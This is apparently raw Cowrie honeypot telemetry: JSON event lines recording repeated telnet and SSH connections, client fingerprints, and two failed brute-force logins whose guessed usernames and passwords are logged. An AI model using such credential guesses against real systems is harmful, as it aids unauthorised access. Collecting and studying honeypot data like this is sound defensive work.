{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":60754,"dst_ip":"159.203.135.109","dst_port":23,"session":"e61d4fe6e5a5","protocol":"telnet","message":"New connection: 103.233.1.130:60754 (159.203.135.109:23) [session: e61d4fe6e5a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:13.536987Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:14.062795Z","src_ip":"159.203.92.129","session":"8e077f71adc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":50760,"dst_ip":"159.203.135.109","dst_port":23,"session":"4314e8c8479e","protocol":"telnet","message":"New connection: 103.233.1.130:50760 (159.203.135.109:23) [session: 4314e8c8479e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:15.172298Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":50758,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c1fdc0ca209","protocol":"telnet","message":"New connection: 103.233.1.130:50758 (159.203.135.109:23) [session: 4c1fdc0ca209]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:15.535059Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":50776,"dst_ip":"159.203.135.109","dst_port":23,"session":"7509a45bc886","protocol":"telnet","message":"New connection: 103.233.1.130:50776 (159.203.135.109:23) [session: 7509a45bc886]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:15.850594Z"}
{"eventid":"cowrie.session.closed","duration":30.716695547103882,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:16.229055Z","src_ip":"103.233.1.130","session":"6a396f136760","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.12227749824524,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:16.689585Z","src_ip":"103.233.1.130","session":"05722f37389e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":50782,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8b00158d7e2","protocol":"telnet","message":"New connection: 103.233.1.130:50782 (159.203.135.109:23) [session: c8b00158d7e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:16.761955Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":50796,"dst_ip":"159.203.135.109","dst_port":23,"session":"24253a96c85b","protocol":"telnet","message":"New connection: 103.233.1.130:50796 (159.203.135.109:23) [session: 24253a96c85b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:16.827822Z"}
{"eventid":"cowrie.session.closed","duration":31.069589138031006,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:17.122071Z","src_ip":"103.233.1.130","session":"f86a4d3de034","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":50812,"dst_ip":"159.203.135.109","dst_port":23,"session":"b250dafa28d9","protocol":"telnet","message":"New connection: 103.233.1.130:50812 (159.203.135.109:23) [session: b250dafa28d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:17.316626Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":50822,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fe097f9b0f2","protocol":"telnet","message":"New connection: 103.233.1.130:50822 (159.203.135.109:23) [session: 1fe097f9b0f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:18.461172Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":50832,"dst_ip":"159.203.135.109","dst_port":23,"session":"7cbd67c44ccf","protocol":"telnet","message":"New connection: 103.233.1.130:50832 (159.203.135.109:23) [session: 7cbd67c44ccf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:18.675240Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":50840,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad50c3258df1","protocol":"telnet","message":"New connection: 103.233.1.130:50840 (159.203.135.109:23) [session: ad50c3258df1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:18.710109Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":50850,"dst_ip":"159.203.135.109","dst_port":23,"session":"40f3a2b60e6c","protocol":"telnet","message":"New connection: 103.233.1.130:50850 (159.203.135.109:23) [session: 40f3a2b60e6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:19.891566Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":55054,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee14ce560029","protocol":"ssh","message":"New connection: 122.168.114.167:55054 (159.203.135.109:22) [session: ee14ce560029]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:20.486528Z"}
{"eventid":"cowrie.session.closed","duration":31.2901771068573,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:20.514640Z","src_ip":"103.233.1.130","session":"990e24eba319","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.90694260597229,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:20.864605Z","src_ip":"103.233.1.130","session":"b6d16e935cb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.05591893196106,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:22.348029Z","src_ip":"103.233.1.130","session":"b6c08434f3af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.517016887664795,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:22.353896Z","src_ip":"103.233.1.130","session":"c439faf0fc1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":50860,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3c6fb0798f8","protocol":"telnet","message":"New connection: 103.233.1.130:50860 (159.203.135.109:23) [session: d3c6fb0798f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:23.369919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:23.519917Z","src_ip":"122.168.114.167","session":"ee14ce560029","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:23.525523Z","src_ip":"122.168.114.167","session":"ee14ce560029","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.93451452255249,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:25.692344Z","src_ip":"103.233.1.130","session":"1db7351457ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":57186,"dst_ip":"159.203.135.109","dst_port":23,"session":"1133287bd49f","protocol":"telnet","message":"New connection: 103.233.1.130:57186 (159.203.135.109:23) [session: 1133287bd49f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:25.832784Z"}
{"eventid":"cowrie.session.closed","duration":31.316104412078857,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:26.106393Z","src_ip":"103.233.1.130","session":"3d4050b0c395","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.844921827316284,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:26.265468Z","src_ip":"103.233.1.130","session":"d0ddb6182d4f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.231476306915283,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:26.830829Z","src_ip":"103.233.1.130","session":"e16b57a1ee10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":57196,"dst_ip":"159.203.135.109","dst_port":23,"session":"fcbf00dfbe2d","protocol":"telnet","message":"New connection: 103.233.1.130:57196 (159.203.135.109:23) [session: fcbf00dfbe2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:28.394686Z"}
{"eventid":"cowrie.session.closed","duration":31.14099431037903,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:28.727216Z","src_ip":"103.233.1.130","session":"af2da1f0aa2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.889533519744873,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:28.794423Z","src_ip":"103.233.1.130","session":"da2cba8adcc1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":57204,"dst_ip":"159.203.135.109","dst_port":23,"session":"62d398ea7e0e","protocol":"telnet","message":"New connection: 103.233.1.130:57204 (159.203.135.109:23) [session: 62d398ea7e0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:28.950438Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":57208,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed576dce5f95","protocol":"telnet","message":"New connection: 103.233.1.130:57208 (159.203.135.109:23) [session: ed576dce5f95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:29.292325Z"}
{"eventid":"cowrie.session.closed","duration":31.737006425857544,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:30.340815Z","src_ip":"103.233.1.130","session":"07d6fd0a64fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02467441558838,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:30.549988Z","src_ip":"103.233.1.130","session":"e4d3d30bfb24","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.719966650009155,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:30.996532Z","src_ip":"103.233.1.130","session":"f9f0dfadadae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.454421520233154,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:31.050178Z","src_ip":"103.233.1.130","session":"08b66e196ee4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.334155797958374,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:33.040581Z","src_ip":"103.233.1.130","session":"093e48546ef4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":57234,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e03ec9ed9b8","protocol":"telnet","message":"New connection: 103.233.1.130:57234 (159.203.135.109:23) [session: 5e03ec9ed9b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:33.085757Z"}
{"eventid":"cowrie.session.closed","duration":32.20178198814392,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:33.091252Z","src_ip":"103.233.1.130","session":"98f12a145155","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":57224,"dst_ip":"159.203.135.109","dst_port":23,"session":"1709433b3950","protocol":"telnet","message":"New connection: 103.233.1.130:57224 (159.203.135.109:23) [session: 1709433b3950]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:33.236859Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":57250,"dst_ip":"159.203.135.109","dst_port":23,"session":"be9dd73d93d0","protocol":"telnet","message":"New connection: 103.233.1.130:57250 (159.203.135.109:23) [session: be9dd73d93d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:33.400429Z"}
{"eventid":"cowrie.session.closed","duration":31.3357036113739,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:34.028818Z","src_ip":"103.233.1.130","session":"084dfd114fed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":57262,"dst_ip":"159.203.135.109","dst_port":23,"session":"effcd9ef75f4","protocol":"telnet","message":"New connection: 103.233.1.130:57262 (159.203.135.109:23) [session: effcd9ef75f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:34.080849Z"}
{"eventid":"cowrie.session.closed","duration":32.04357647895813,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:34.824578Z","src_ip":"103.233.1.130","session":"8a29661f920b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.984806299209595,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:35.287261Z","src_ip":"103.233.1.130","session":"d583e7180746","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":51452,"dst_ip":"10.17.0.5","dst_port":22,"session":"79cd813615be","protocol":"ssh","message":"New connection: 182.253.79.194:51452 (10.17.0.5:22) [session: 79cd813615be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:35.574172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:35.578522Z","src_ip":"182.253.79.194","session":"79cd813615be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:35.835827Z","src_ip":"182.253.79.194","session":"79cd813615be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.17780137062073,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:36.546564Z","src_ip":"103.233.1.130","session":"5fe6cd118d1e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"dh@123456","message":"login attempt [root/dh@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:36.889986Z","src_ip":"182.253.79.194","session":"79cd813615be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:38.149524Z","src_ip":"182.253.79.194","session":"79cd813615be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":53998,"dst_ip":"159.203.135.109","dst_port":23,"session":"93f7dc920e20","protocol":"telnet","message":"New connection: 103.233.1.130:53998 (159.203.135.109:23) [session: 93f7dc920e20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:38.341847Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":54006,"dst_ip":"159.203.135.109","dst_port":23,"session":"d17ba50b83f2","protocol":"telnet","message":"New connection: 103.233.1.130:54006 (159.203.135.109:23) [session: d17ba50b83f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:38.548565Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":54010,"dst_ip":"159.203.135.109","dst_port":23,"session":"ceffd9508f22","protocol":"telnet","message":"New connection: 103.233.1.130:54010 (159.203.135.109:23) [session: ceffd9508f22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:38.718635Z"}
{"eventid":"cowrie.session.closed","duration":30.79794931411743,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:39.215033Z","src_ip":"103.233.1.130","session":"3d73fed273e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":53984,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d751554273a","protocol":"telnet","message":"New connection: 103.233.1.130:53984 (159.203.135.109:23) [session: 3d751554273a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:39.287587Z"}
{"eventid":"cowrie.session.closed","duration":31.68700933456421,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:39.650403Z","src_ip":"103.233.1.130","session":"364e19acf5c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.938027381896973,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:39.746162Z","src_ip":"103.233.1.130","session":"e7bb5660f7e8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"tactical","password":"tactical","message":"login attempt [tactical/tactical] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:39.969038Z","src_ip":"122.168.114.167","session":"ee14ce560029","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.763479232788086,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:40.222862Z","src_ip":"103.233.1.130","session":"315085a7c422","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.68086075782776,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:40.630063Z","src_ip":"103.233.1.130","session":"ccd52f1c51bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":54022,"dst_ip":"159.203.135.109","dst_port":23,"session":"4752e8726d8e","protocol":"telnet","message":"New connection: 103.233.1.130:54022 (159.203.135.109:23) [session: 4752e8726d8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:41.489732Z"}
{"eventid":"cowrie.session.closed","duration":30.76635980606079,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:42.488183Z","src_ip":"103.233.1.130","session":"79aa30a68102","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.519324779510498,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:43.213197Z","src_ip":"103.233.1.130","session":"2e71bb3da826","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.391083478927612,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:43.301760Z","src_ip":"103.233.1.130","session":"1a089a0d72ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.18241047859192,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:44.357959Z","src_ip":"103.233.1.130","session":"9c876e3fd47a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.929718255996704,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:44.466552Z","src_ip":"103.233.1.130","session":"e61d4fe6e5a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.206451416015625,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:44.576095Z","src_ip":"103.233.1.130","session":"2c9f34e7df7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":54024,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9c474f2f7a3","protocol":"telnet","message":"New connection: 103.233.1.130:54024 (159.203.135.109:23) [session: e9c474f2f7a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:44.609127Z"}
{"eventid":"cowrie.session.closed","duration":"24.4","message":"Connection lost after 24.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:44.932447Z","src_ip":"122.168.114.167","session":"ee14ce560029","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":60088,"dst_ip":"159.203.135.109","dst_port":23,"session":"362a5d1b1f30","protocol":"telnet","message":"New connection: 103.233.1.130:60088 (159.203.135.109:23) [session: 362a5d1b1f30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:45.431486Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":60094,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7ca5cd30eaa","protocol":"telnet","message":"New connection: 103.233.1.130:60094 (159.203.135.109:23) [session: d7ca5cd30eaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:45.702801Z"}
